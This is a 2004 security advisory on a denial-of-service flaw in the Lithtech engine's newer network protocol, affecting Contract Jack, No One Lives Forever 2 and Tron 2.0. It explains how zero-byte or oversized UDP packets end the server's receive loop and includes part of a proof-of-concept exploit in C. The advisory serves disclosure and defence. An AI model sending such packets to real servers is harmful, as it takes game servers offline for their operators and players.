Unreachable Socket in Lithtech Engine (New Protocol)
21 Dec. 2004
Summary
The Lithtech engine is a game engine used by many games. Some of the latest games released and based on this engine use a network protocol different than all the others (probably they use a new version of the engine but naturally Luigi don't know all these details).
Just these latest games (all developed by Monolith) are those affected by a bug that allows attacker to cause the program to stop responding: Contract Jack (Nov 2003), No one lives forever 2 (Oct 2002) and Tron 2.0 (Aug 2003) (Other games might be affected as well).
Vulnerable Systems:
* Contract Jack version 1.1 and prior
* No one lives forever 2 version 1.3 and prior
* Tron 2.0 version 1.042 and prior
The new network protocol used by the Lithtech engine is composed by a loop used to handle all the UDP packets received.
A select() function with a time out of 30 seconds searches for new data into the socket's queue. If data is received or the socket goes in time out, a recvfrom() is called and its return value is checked to know if has happened an error. If there is a socket error, the game calls WSAGetLastError() to catch the error code and returns reaching a main check that is made ever before the usual select() function. This so-called "main check" simply controls that the error returned by WSAGetLastError() (and stored in a specific variable) is "Operation would block" (10035, the only type of error accepted to continue the listening loop).
If an attacker sends an UDP packet of zero bytes, recvfrom() returns this length and an instruction checks just if it is equal than zero. In this case the code flow returns to the "main check" that controls the error code (not set, so equal to zero) and since it is not 10035 exits from the loop that handles the socket's data.
After that, the server will be no longer able to receive packets because the loop is completely dead.
A similar problem happens if an attacker sends an UDP packet with a size major/equal than 8193 bytes (max data read by recvfrom()) and minor/equal than 12280 (otherwise select() doesn't catch it). The "main check" will fail as before because the error code will be different than 10035 (in fact it will be 10040, "Message too long").
Exploit:
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/lithsock.zip - SECU
fputs("- check if server is online\n", stdout);
SEND(CHECK);
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
if(memcmp(buff, CHECK, 3)) {
if(*buff == '\\') {
fputs("- received an information reply, seems you have specified a wrong port.\n"
" Try with a lower one\n", stdout);
} else {
fputs("\nError: unknown data received, this is none of the vulnerable games\n\n", stdout);
}
exit(1);
}
}
fputs("- send a ZERO bytes packet\n", stdout);
SEND(ZERO);
fputs("- wait one second\n", stdout);
sleep(ONESEC);
fputs("- check if the server is vulnerable:\n", stdout);
SEND(CHECK);